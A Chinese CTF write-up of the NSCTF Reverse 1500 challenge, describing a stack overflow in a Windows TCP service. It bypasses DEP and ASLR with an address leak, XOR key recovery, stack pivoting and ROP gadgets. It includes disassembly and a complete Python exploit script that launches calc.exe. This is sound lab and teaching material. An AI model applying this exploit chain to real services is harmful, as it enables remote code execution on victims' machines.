NSCTF Reverse1500 Writeup

打了几天NSCTF,最后和队友@kuro一起把逆向1500分大题个拿了下来,最后混了个第6。
然后这篇writeup是苏大神(kuro)写的,授权转载Orz


1500分呢,其它题都是100 200最高也就500,一题高帅富还拿了fb(没有fb奖励就是):)

其实也不算难的栈溢出,虽然windows上的没怎么做过,但毕竟只是栈溢出,没有canarry(secure_cookie)代码正常写(gctf。。),难度破天也就那样。

题目要求能过windows的DEP+ASLR,在rop大行其道的今天过dep+aslr已经是pwn标配要求了吧,只要代码段间的相对偏移是固定的,gadget不会跳偏,想办法拿到ImageBase就行。

程序有加壳,aspack,似乎由于aslr的锅脱掉壳之后导入表还是坏的,貌似也不是导入表的问题,而是代码中引用的地址就是硬编码固定的,这里没有深究,反正能用IDA读到代码就行,毕竟exp打的是没脱壳的原版本。

程序功能是开启一个tcp服务端,根据客户端连接发送的请求代码完成3项功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

if ( _WSAFDIsSet(s, &readfds) )
{
memset(buf, 0, 0x5ACu);
if ( recv(s, buf, 0x5AC, 0) <= 0 )
return closesocket(s);
v2 = strchr(buf, '\r');
if ( v2 )
*v2 = 0;
v3 = strchr(buf, '\n');
if ( v3 )
*v3 = 0;
if ( !strncmp(buf, aEncrypt, 8u) ) // "ENCRYPT "
{
v10 = (int)&buf[8];
enc_buf(s, (int)&buf[8]); //<== !
}
if ( !strncmp(buf, aStatus, 7u) ) // "STATUS\0"
{
v4 = GetModuleHandleA(0);
memset(buf, 0, 0x5ACu);
sprintf_s(buf, 0x5ACu, Format, v4);
send(s, buf, strlen(buf), 0);
}
if ( !strncmp(buf, aExit, 4u) ) // "EXIT"
{
memset(buf, 0, 0x5ACu);
printf(aSessionExitSoc, s);
sprintf_s(buf, 0x5ACu, aSessionExitS_0, s);
result = send(s, buf, strlen(buf), 0);
if ( s == -1 )
return result;
return closesocket(s);
}
}

服务端接收最多0x5ac大小的数据然后strncmp判断进来的头几个字节进行不同的操作,其中发送STATUS可以返回该服务端运行的基址(。。故意构造的利用点),这为后面计算所有gadgets的偏移带来了极大的便利,EXIT是关闭连接退出,没什么好说的,问题出在ENCRYPT操作里(吐槽一下这个比对,开始写exp的时候发ENCRYPT老是没反应,数一数ENCRYPT应该是7个字符啊,怎么比对了8个,仔细一看字符串,后面还有个空格。。)

比对完成后

1
2
3
4
5
6
7
UnPackEr:013D124D 6D8 lea     ecx, [ebp+buf+8] ; Load Effective Address
UnPackEr:013D1253 6D8 mov [ebp+pBuffAt8], ecx
UnPackEr:013D1256 6D8 mov eax, [ebp+pBuffAt8]
UnPackEr:013D1259 6D8 push eax ; int
UnPackEr:013D125A 6DC mov eax, [ebp+sock]
UnPackEr:013D125D 6DC push eax ; s
UnPackEr:013D125E 6E0 call enc_buf ; 13D10C0

调用下一个函数enc_buf,传入之前recv的buff(砍掉前面ENCRYPT\x20那8个字符)和socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
UnPackEr:013D10C6 204 mov     eax, [esp+204h+pBuffAt8]
UnPackEr:013D10CD 204 movzx ecx, word ptr [eax] ; Move with Zero-Extend
UnPackEr:013D10D0 204 push ebx
UnPackEr:013D10D1 208 push esi
UnPackEr:013D10D2 20C add eax, 2 ; Add
UnPackEr:013D10D5 20C push edi ; 一直是sock
UnPackEr:013D10D6 210 push eax ; 读入buff砍掉开头2bytes
UnPackEr:013D10D7 214 lea eax, [esp+214h+var_200] ; Load Effective Address
UnPackEr:013D10DB 214 movzx ebx, cx ; Move with Zero-Extend
UnPackEr:013D10DE 214 push eax ; new buffer
UnPackEr:013D10DF 218 mov dword ptr [esp+218h+buf], ecx
UnPackEr:013D10E3 218 call exp_able ; 13D1030
UnPackEr:013D10E8 218 mov esi, [esp+218h+s]
UnPackEr:013D10EF 218 mov edi, ds:send
UnPackEr:013D10F5 218 add esp, 8 ;

进来之后将buff的前两个字节当做一个word放进ebx,同时push一个0x200大小的新缓冲区及旧缓冲区砍掉开头两字节后作为参数调用exp_able函数(随便起了个名=。=)注意这时缓冲区只开了0x200,远远不及接收数据用的0x5ac大小缓冲区,此时栈空间

1
2
3
4
5
6
7
-00000205                 db ? ; undefined
-00000204 buf db 4 dup(?)
-00000200 var_200 db 512 dup(?)
+00000000 r db 4 dup(?)
+00000004 s dd ?
+00000008 pBuffAt8 dd ?
+0000000C

顺便一题,exp_able这个函数有趣地将ebp当做通用寄存器了,并没有开辟新的栈帧,也没有使用任何内存作为临时变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
UnPackEr:013D1030     exp_able        proc near               ; CODE XREF: enc_buf+23p
UnPackEr:013D1030
UnPackEr:013D1030 new_buff = dword ptr 4
UnPackEr:013D1030 old_buff = dword ptr 8
UnPackEr:013D1030

UnPackEr:013D1030 000 cmp ds:rand_generated, 0 ; Compare Two Operands
UnPackEr:013D1037 000 push ebp
UnPackEr:013D1038 004 mov ebp, [esp+4+new_buff] ; <==ebp作为通用寄存器
UnPackEr:013D103C 004 push esi

UnPackEr:013D103D 008 push edi
UnPackEr:013D103E 00C jnz short RAND_GEN_ED ; Jump if Not Zero (ZF=0)
UnPackEr:013D1040 00C push 0 ; Time

UnPackEr:013D1042 010 call __time64 ; Call Procedure
UnPackEr:013D1047 010 push eax ; unsigned int
UnPackEr:013D1048 014 call _srand ; Call Procedure
UnPackEr:013D104D 014 add esp, 8 ; Add

UnPackEr:013D1050 00C mov esi, offset rand_array
UnPackEr:013D1055
UnPackEr:013D1055 loc_13D1055: ; CODE XREF: exp_able+41j

UnPackEr:013D1055 00C call _rand ; Call Procedure
UnPackEr:013D105A 00C mov edi, eax
UnPackEr:013D105C 00C shl edi, 10h ; Shift Logical Left

UnPackEr:013D105F 00C call _rand ; Call Procedure
UnPackEr:013D1064 00C add eax, edi ; Add

UnPackEr:013D1066 00C mov [esi], eax
UnPackEr:013D1068 00C add esi, 4 ; Add
UnPackEr:013D106B 00C cmp esi, offset rand_array_end ; Compare Two Operands
UnPackEr:013D1071 00C jl short loc_13D1055 ; Jump if Less (SF!=OF)
UnPackEr:013D1073 00C mov ds:rand_generated, 1

接下来首先生成了0x20个32bit随机数(rand_array_end地址与rand_array相差0x80),保存在13DF968起始的数组里,然后用ebx/4向上取整后的值作为计数上限,将old_buff和随机数组的数进行异或后放进new_buff里,也就是ENCRYPT后紧跟的2字节作为长度,4字节一组将旧的大缓冲区与一组随机数依次加密后放进新的小的缓冲区里,如果发送数据需异或的部分比0x200长,就会产生溢出,溢出的还不是循环的这个函数,它的callerenc_buf(害队友啊)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
UnPackEr:013D107A     RAND_GEN_ED:                            ; CODE XREF: exp_able+Ej
UnPackEr:013D107A 00C mov eax, ebx ; 注意ebx是上一个函数赋值的,buff开头的2字节作为循环长度
UnPackEr:013D107C 00C cdq ; EAX -> EDX:EAX (with sign)
UnPackEr:013D107D 00C and edx, 3 ; Logical AND
UnPackEr:013D1080 00C add eax, edx ; Add
UnPackEr:013D1082 00C sar eax, 2 ; Shift Arithmetic Right
UnPackEr:013D1085 00C test bl, 3 ; Logical Compare
UnPackEr:013D1088 00C jz short L1 ; Jump if Zero (ZF=1)
UnPackEr:013D108A 00C inc eax ; 这一段是/4向上取整
UnPackEr:013D108B
UnPackEr:013D108B L1: ; CODE XREF: exp_able+58j
UnPackEr:013D108B 00C xor edx, edx ; Logical Exclusive OR
UnPackEr:013D108D 00C test eax, eax ; Logical Compare
UnPackEr:013D108F 00C jle short loc_13D10B9 ; FAILED
UnPackEr:013D1091 00C mov esi, [esp+0Ch+old_buff]
UnPackEr:013D1095 00C mov ecx, ebp
UnPackEr:013D1097 00C sub esi, ebp ; Integer Subtraction
UnPackEr:013D1099 00C lea esp, [esp+0] ; Load Effective Address
UnPackEr:013D10A0
UnPackEr:013D10A0 L2: ; CODE XREF: exp_able+87j
UnPackEr:013D10A0 00C mov edi, edx
UnPackEr:013D10A2 00C and edi, 1Fh ; Logical AND
UnPackEr:013D10A5 00C mov edi, ds:rand_array[edi*4]
UnPackEr:013D10AC 00C xor edi, [esi+ecx] ; Logical Exclusive OR
UnPackEr:013D10AF 00C inc edx ; Increment by 1
UnPackEr:013D10B0 00C mov [ecx], edi
UnPackEr:013D10B2 00C add ecx, 4 ; Add
UnPackEr:013D10B5 00C cmp edx, eax ; EAX是计数上限
UnPackEr:013D10B7 00C jl short L2 ; Jump if Less (SF!=OF)

那么溢出机制搞清楚了,发送'ENCRYPT '+16bit长度+0x200长度的辣鸡字符+返回地址即可劫持eip,其中填充字串和返回地址需要先被异或过,这样加密时异或回去才是我们想要的。那么怎么获得用于异或的随机数呢,注意到随机数生成过程有个flag,一次生成后不会再改变,所以可以先发送0x80个\0获取随机数数组,再用获取的随机数异或payload

可以控制eip后开始想办法执行目标程序calc.exe,服务端在收到客户连接时会利用ShellExecuteA将自己重新运行一次(模仿fork?但你端口是不可复用的啊,这也是故意构造的利用点,能不能专业点……)找个地方写calc.exe然后让ShellExecuteA执行它就好
先看ShellExecuteA调用的部分

1
2
3
4
5
6
7
8
UnPackEr:013D1530 2CC                 push    5               ; nShowCmd
UnPackEr:013D1532 2D0 push 0 ; lpDirectory
UnPackEr:013D1534 2D4 push 0 ; lpParameters
UnPackEr:013D1536 2D8 lea ecx, [esp+2D4h+Filename] ; Load Effective Address
UnPackEr:013D153A 2D8 push ecx ; lpFile <==
UnPackEr:013D153B 2DC push offset Operation ; "open"
UnPackEr:013D1540 2E0 push 0 ; hwnd
UnPackEr:013D1542 2E4 call ds:ShellExecuteA ; Indirect Call Near Procedure

中间有个lea的过程干扰栈空间布局,所以我们跳下一行push ecx,找一个pop ecx , ret的gadget就行,由于此处是壳内代码,所以ropper -f _UnPacked.exe --search 'pop ecx'搜索脱过壳的程序,然后找了个比较近的

1
2
3
0x013d1849: pop ecx; ret;    <==这个,RVA=0x1849
0x013e380b: pop ecx; ret 4;
0x013e3a82: pop ecx; ret;

最后的问题就是如何定位calc.exe这个最终payload字串了,以往linux的pwn,有plt表可以跳,有got表可以劫持,这俩表的相对偏移还都是固定的,windows的导入表结构不一样,很难找到直接去调用send的方法,也就没法调用那些用于输出的函数来获知溢出时栈的位置。得想办法把字串写到固定的位置,再把这个位置传给ShellExecuteA

同时还有一个问题,从enc_buf函数溢出后eip就失去控制了,由于不像linux有PLT表的jmp function结构能直接按栈里存的地址返回,windows下eip飞了之后得想办法回到可以溢出的地方重新控制eip,不然纯粹找gadgets拼个能将不确定的栈地址传递给ShellExecuteA来调用是很繁琐的

(写这篇writeup的时候已经做完很久了,写到这的时候又停下来思考了一下纯gadget拼payload的方法,最后花了2个多小时重新写了个纯gadget拼出传递栈中的’calc.exe’的exp,然后再看看gadgets的附近,居然有一堆rop专用的gadgets,显然也是出题人留下的“标准方法”,这个的分析就不写在这了,留在脚本里有兴趣自行研究吧,有趣的是纯gadget调用的计算器不会使原程序崩溃,而是看起来很正常地结束,之前用的方法弹完计算器就崩得不成样子了)

观察一下调用enc_bufexp_able的代码,变量定位都是以ebp作为基址寄存器的,所以这里可以用栈迁移的手法,把ebp指向新的地址,然后调用recv读取第二次发过去的payload写入新栈区,再进入enc_buf溢出一次,即可拿回eip的控制权,同时由于新栈地址是我们给定的,所以也很容易定位第二次发过去的calc.exe。能供写入的固定地址也很容易找,放随机数的那块静态变量区就有很多空闲的位置,再找个pop ebp的gadgets,也有很多

1
2
3
4
5
6
7
8
0x013da0be: pop ebp; pop ecx; pop ebx; ret 4; 
0x013da0be: pop ebp; pop ecx; pop ebx; ret 4; call eax;
0x013da0be: pop ebp; pop ecx; pop ebx; ret 4; call eax; ret;
0x013d9fa8: pop ebp; pop edi; pop esi; pop ebx; mov esp, ebp; pop ebp; ret;
0x013d3392: pop ebp; push ecx; ret;
0x013d21dc: pop ebp; ret 4;
0x013d6f23: pop ebp; ret 8;
0x013d10bb: pop ebp; ret; <== 这个

可以最终整理思路了:

  1. 发送STATUS获得服务端运行的镜像基址
  2. 发送'ENCRYPT '+\x80\x00(长度)+0x80个\x00获取随机数组
  3. 发送'ENCRYPT '+2字节payload1长度+与获得的随机数组异或后的payload1,payload1为0x200个'A'(填充)+pop_ebp的gadget + 新找的地址(加些修正,使recv完调用enc_buf时栈结构能与之前相似,这里修正大小是+1740+len('calc.exe\x00'),这个修正大小可以在动态调试时很方便地计算)+调用recv的地址(选择了013D11F4[^cs1])+调用recv时应有的栈结构
  4. 此时前置布局工作都已做好,把calc.exe和用于第二次溢出的payload2发过去就行。发送内容为calc.exe\x00+'ENCRYPT '+2字节payload2长度+异或后的payload2,payload2:200个'B'(填充)+pop ecx的gadget + 新找地址(calc字串放在最前面了) + 调用ShellExecuteA的地址[^cs2] + 调用ShellExecuteA时应有的栈结构

附上脚本(包括纯gadgets的部分,注释掉了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python2.7
#encoding:utf-8

from zio import *
from time import sleep

target = ('172.16.83.128',2994)
#target = ('172.16.82.132',2994)
io = zio(target,timeout=500,print_read=COLORED(REPR,'cyan'),print_write=COLORED(REPR,'red'))
io.readline()#welcome

io.write('STATUS')#get img_base
base = io.readline()
base = int(base[base.find('@')+2:-1],16)
recv_addr = base + 0x11f4
w_buffer = base + 0xe69c
w_buffer_size = 700 # buffer size
pop_ebp = base + 0x10bb
pop_ecx = base + 0x1849 # for push ecx,ecx --> w_buffer
exec_addr = base + 0x153a#boom


print 'base_addr:',hex(base)
print 'recv_addr:',hex(recv_addr)
print 'writable_addr:',hex(w_buffer)

hsz = 'ENCRYPT '
io.write(hsz+l16(0x80)+'\x00'*0x80)
rand_group = io.read(0x82)[2:]
print 'RAND_GROUP:',rand_group
sleep(0.1)
def enc(data):
e_data = ''
for i,b in enumerate(data):
e_data += chr(ord(b)^ord(rand_group[i % len(rand_group)]))
return e_data


payload = 'A'*0x200 + l32(pop_ebp) + l32(w_buffer+1740+len('calc.exe\x00')) + l32(recv_addr) #change ebp to new place ,point to new data and back to recv
payload += l32(w_buffer) + l32(w_buffer_size) + l32(0) + 'ADDITION1'+'ADDITION2' # recv(sock,w_buffer,buffer_size,0)

#pure gadgets to call ShellExecuteA
'''
mov_eax_esp = base + 0x1001
sub_eax_4 = base + 0x100a #这个gadget附近都是出题人留下的gadgets……

pop_ebx = base + 0x1022
push_eax_call_ebx = base + 0x445a

pop_ecx_pop_ecx = base + 0x1848

add_esp_0x98 = base + 0x13951 #这个要不要都行,把calc放到开头,空间已经够了
#如果calc放在靠后的位置,有可能被ShellExecuteA内部的操作覆盖掉,导致最终利用失败

payload3 ='HEAD'+'calc.exe' + l32(0) + 'A'*(0x200-4*4) + l32(mov_eax_esp) + l32(sub_eax_4)*(1+127) #一直摸到开头
payload3 += l32(pop_ebx) + l32(pop_ecx_pop_ecx)#ebx
payload3 += l32(push_eax_call_ebx) + l32(add_esp_0x98) + 'F' * 0x98 + l32(exec_addr) + l32(0)*3 + l32(5)

io.write(hsz+l16( len(payload3) ) +enc(payload3) )#payload1 --> write in calc string

print 'PAYLOAD3 FINISHED.\nlength:', hex(len(payload3))
exit()
'''

#---------------------------
'''这个payload的缺点是填充太多了,为防止ShellExecuteA内部将calc字串覆盖,需要大量的sub eax gadget使字串远离esp(),如果用add esp的gadget,一样要填进一大堆字符,还好recv的缓冲区足够大,不然有可能辛辛苦苦设计完rop链,要么esp离calc字串太近致其被覆盖,要么payload超出缓冲区大小跑不完,那就坑了……当然rop链肯定不止一种设计方法,这里只是能用的一种'''
#总共只有两条sub eax,用到的这个还是出题人故意留的。。
#0x013d100a: sub eax, 4; ret;
#0x013d5c0a: sub eax, ecx; ret;
#---------------------------
io.write(hsz+l16( len(payload) ) +enc(payload) )#payload1 --> write in calc string
raw_input('wating recv...')

sleep(0.1)

payload2 = 'B'*0x200 + l32(pop_ecx) + l32(w_buffer) # eip come back and set ecx
payload2 += l32(exec_addr)+ l32(0) + l32(0) + l32(5)

#io.write('PAYLOAD2!'+'LOL'*250)
io.write('calc.exe\x00'+hsz + l16(len(payload2)) +enc(payload2)) #payload2 --> exec calc

print '\n\n===============================EXP FINISHED!==============================\n\n\n'
exit(0)
io.interact()

[^cs1]:

UnPackEr:013D11E6 6D8 push 0 ; flags
UnPackEr:013D11E8 6DC push 5ACh ; len
UnPackEr:013D11ED 6E0 lea eax, [ebp+buf] ; Load Effective Address
UnPackEr:013D11F3 6E0 push eax ; buf
UnPackEr:013D11F4 6E4 push edi ; <==这里
UnPackEr:013D11F5 6E8 call ds:recv ; Indirect Call Near Procedure

[^cs2]:

UnPackEr:013D1530 2CC push 5 ; nShowCmd
UnPackEr:013D1532 2D0 push 0 ; lpDirectory
UnPackEr:013D1534 2D4 push 0 ; lpParameters
UnPackEr:013D1536 2D8 lea ecx, [esp+2D4h+Filename] ; Load Effective Address
UnPackEr:013D153A 2D8 push ecx ; lpFile <==这里
UnPackEr:013D153B 2DC push offset Operation ; “open”
UnPackEr:013D1540 2E0 push 0 ; hwnd
UnPackEr:013D1542 2E4 call ds:ShellExecuteA ; Indirect Call Near Procedure

PS:基本是苏大神一个人完成了rop链的构造和gadget的寻找利用。我只是帮助分析整个程序和定位溢出点。以及脑洞出这个挺不靠谱的迁移栈的方法